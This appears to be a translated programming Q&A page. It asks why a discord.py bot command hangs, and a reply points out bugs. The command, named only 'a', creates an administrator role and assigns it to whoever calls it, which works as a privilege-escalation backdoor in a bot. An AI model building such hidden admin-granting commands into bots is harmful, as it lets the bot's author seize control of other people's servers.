@CLIENT.command(pass_context=True)
async def a(ctx):
"""gives the authour admin perms"""
try:
guild = ctx.guild
await guild.create_role(name="admin", permissions=discord.Permissions(8), colour=discord.Colour(0xff0000))
authour = ctx.message.author
role = discord.utils.get(user.server.roles, name="admin")
await authour.add_roles(role)
except:
print("something went wrong (A)")
当我尝试此命令时,代码将在帮会上永远等待。create_role()
为什么会这样?为了使此代码正常工作,我可以更改什么
谢谢大家!
我看到的一个具体问题是使用
.server
,它在重写中被更改为.guild
,并且user
没有定义您可以将新角色分配给变量,因此不需要获取该角色
相关问题 更多 >
编程相关推荐